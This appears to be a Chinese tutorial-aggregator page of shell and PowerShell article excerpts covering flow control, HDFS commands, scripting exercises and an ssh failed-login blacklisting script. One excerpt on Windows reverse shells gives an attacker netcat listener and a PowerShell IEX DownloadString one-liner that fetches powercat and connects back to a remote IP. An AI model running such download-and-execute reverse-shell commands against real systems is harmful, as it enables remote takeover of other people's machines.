【shell 中 exec 和 source 命令解析】教程文章相关的互联网学习教程文章

4、shell-流程控制

1 if 判断 1.基本语法 if [ 条件判断式 ];then 程序 fi 或者 if [ 条件判断式 ] then 程序 elif [ 条件判断式 ] then 程序 else 程序 fi 注意事项: (1)[ 条件判断式 ],中括号和条件判断式之间必须有空格 (2)if后要有空格 2.案例实操 (1)输入一个数字,如果是1,则输出banzhang zhen shuai,如果是2,则输出cls zhen mei,如果是其它,什么也不输出。 [atguigu@hadoop101 datas]$ touch if.sh [atguigu@hadoop1...

HDFS文件Shell操作命令【代码】

基本格式:hdfs dfs -cmd hadoop fs -cmd(已过时) 查看可用命令:hdfs dfs [root@hadoop60 ~]# hdfs dfs Usage: hadoop fs [generic options][-appendToFile <localsrc> ... <dst>] #追加文件[-cat [-ignoreCrc] <src> ...] #查看文件内容[-checksum <src> ...] [-chgrp [-R] GROUP PATH...][-chmod [-R] <MODE[,MODE]... | OCTALMODE> PATH...] #授权[-chown [-R] [OWNER][:[GROUP]] PATH...] #修改所有者[-co...

shell操作的快捷键

shell是Linux下的命令解析器,其作用为:解释用户输入的命令,并执行对应的操作。步骤: ①到指定路径(环境变量)搜索用户输入的命令; ②找到输入的命令并运行程序,将运行结果输出到终端上。 一些快捷键 1、命令或目录补齐快捷键:tab 2、遍历历史记录快捷键:history上 == ctrl+p,下 == ctrl+n 3、光标移动左 == ctrl+b,右 == ctrl+f移动到头部 == ctrl+a,移动到尾部 == ctrl+e 4、字符删除删除光标前面字符 == ctrl+h(...

widnows下反弹shell的几种方法---持续跟新【代码】

1.powercat反弹shell powercat(https://github.com/besimorhino/powercat )为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat 首先攻击者开启监听nc -lvp 6666或者使用powercat监听powercat -l -p 6666接着在目标机上反弹cmd shell:powershell IEX (New-Object System.Net.Webclient).DownloadString(https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1);powercat -c 192.1...

shell脚本【代码】

shell脚本的作用 shell 脚本的作用 帮助运维完成一些重复性、复杂性的操作 解释命令到内核 结合配置服务使用,减少工作量 CMDB资产管理系统 1.shell脚本的命名的标准规则 文件名 .sh(文件名随便起,以.sh结尾) python .py php .php java .java vim dgf.sh #!/bin/bash #这个是解释器 `` vim alex.py #!/usr/bin/env python #python解释器 如何编写shell脚本? 1 vim dgf.sh #!/bin/bash linux命令 运行方式 如果shell脚本有执行...

利用PowerShell创建SCCM package升级Intel WIFI驱动【图】

Intel时不时的发布新的Wifi驱动包来修复一些安全和稳定相关的问题,如下面这个advisory。https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00448.html 一般来说,Intel的Wifi驱动对于各个OEM厂商来说都是通用的,不必非要去OEM厂商为每个型号都下载一个单独的驱动,现在就来说一下如何创建一个通用的Wifi驱动升级包。Intel官网下载驱动包要下载 "Drivers for IT Admins", 用7zip解压 https://dow...

shell习题-18【代码】

题目要求 提示用户输入网卡的名字,然后我们用脚本输出网卡的ip,需要考虑下面问题: 输入的字符不符合网卡名字规范,怎么应对。 名字符合规范,但是根本就没有这个网卡又怎么应对。参考答案 #!/bin/bash ip add |awk -F ': ' '$1 ~ "^[1-9]" {print $2}' > /tmp/eth.list while : doeths=`cat /tmp/eth.list |xargs`read -p "Please input a if name(The eths is `echo -e "\033[31m$eths\033[0m"`): " ethif [ -z "$eth" ]thenec...

shell系列一

shell命令  说明:     shell是一个命令行解释器,为用户提供一个向linux内核发送请求     以便运行程序的界面系统级程序,用户可以用shell启动,挂起,停止     甚至编写一些程序   |--shell脚本格式要求     |--脚本以#!/bin/shell开头(第一行)     |--脚本需要有可执行权限   |--shell脚本常用的执行方式     |--方式1(输入脚本的绝对路径或相对路径)       |--首先赋予脚本的+x权限 ...

shell示例6【代码】

编写脚本/root/bin/checkip.sh,每 5 分钟检查一次,如果发现通过 ssh 登录失败 次数超过 10 次, 自动将此远程 IP 放入 Tcp Wrapper 的黑名单中予以禁止防问 #!/bin/bashwhile true;domounth=$(date +%b)mday=$(date +%d)hour=$(date +%H)min=$(date +%M)IP=`awk ' /sshd.*Failed password/ {if("'$mounth'" == $1 && "'$mday'" == $2){split($3,array,":") # 时间判断5min内出现错误的次数if("'$hour'" == array[1]){if("'$min'" < ...

powershell 删除 复制 遍历某个文件夹 脚本

$timeOutDay = 30 $filePath = "E:\log" $allFile = Get-ChildItem -Path $filePath $i = 0 foreach($file in $allFile) { $daySpan = ((Get-Date) - $file.LastWriteTime).Days if ($daySpan -gt $timeOutDay) { copy-item -Path E:\log\ -DestinationPath G:\日志 } $i=$i+1 }

shell中exit退出值讲解【代码】【图】

$? #$?是在命令执行完成之后产生的退出值,范围是【0-255】 当$?=0时标示命令执行没有错误输出,这个值可以用exit命令执行 exit 66 #命令方式设置退出值exit为66例: 【1】 ls #正常查看 echo $? #值为0【2】 ls /hello #/hello不存在 echo $? #不为0【3】 vim /mnt/textecho "hello world!"exit 66 #设定退出值为66 sh /mnt/text #执行

【shell脚本】系统硬件信息数据库收集(普通版和导入Excel版)【代码】【图】

自动获取服务器系统信息: 创建数据库表(这里没有写入数据库中):[root@rhel8 shell]# vim audit_audit_system.sql CREATE TABLE `audit_audit_system`(`id` int(11) NOT NULL AUTO_INCREMENT,`ip_info` varchar(50) NOT NULL,`serv_info` varchar(50) NOT NULL,`cpu_info` varchar(50) NOT NULL,`disk_info` varchar(50) NOT NULL,`mem_info` varchar(50) NOT NULL,`load_info` varchar(50) NOT NULL,`mark_info` varchar(50) N...

Shell中的函数库

函数库: !/bin/bash 函数库的作用:在写一个大型脚本时候, 有些代码可以被多个脚本重复使用进行封装 function add { echo "expr $1 + $2" } function reduce{ echo "expr $1 - $2" } function multiple{ echo "expr $1 \* $2" } function divide{ echo "expr $1 / $2" } 脚本调用: !/bin/bash 这个文件是一个引用文件 . base_function add 12 23 reduce 90 30 multiple 12 12 divide 12 2

PowerShell 中,使用activate命令激活anaconda的虚拟环境不生效解决方案

原文链接:https://blog.csdn.net/shiren8538/article/details/80926213win10 系统下,安装python,通常选择anaconda,也会面临使用PowerShell的情况,但是Power Shell和anaconda的虚拟环境不配合,无法激活。 在anaconda中创建虚拟python环境:conda create -n env_name python=x.x 在anaconda prompt 和 cmd中,激活虚拟环境的方法如下:activate env_name 但在PoweeShell中不可用,解决方法如下: 1. 安装库:conda install -n ...

Learning_the_bash_Shell_Third_Edition 16/n

CHAPTER 8 Process Handling Process IDs and Job Numbers UNIX gives all processes numbers, called process IDs, when they are created. Job Control Foreground and Background If you have only one background job running, you can use fg without arguments, and the shell will bring that job into the foreground. But if you have several jobs running in the background, the shell will pick the one that you ...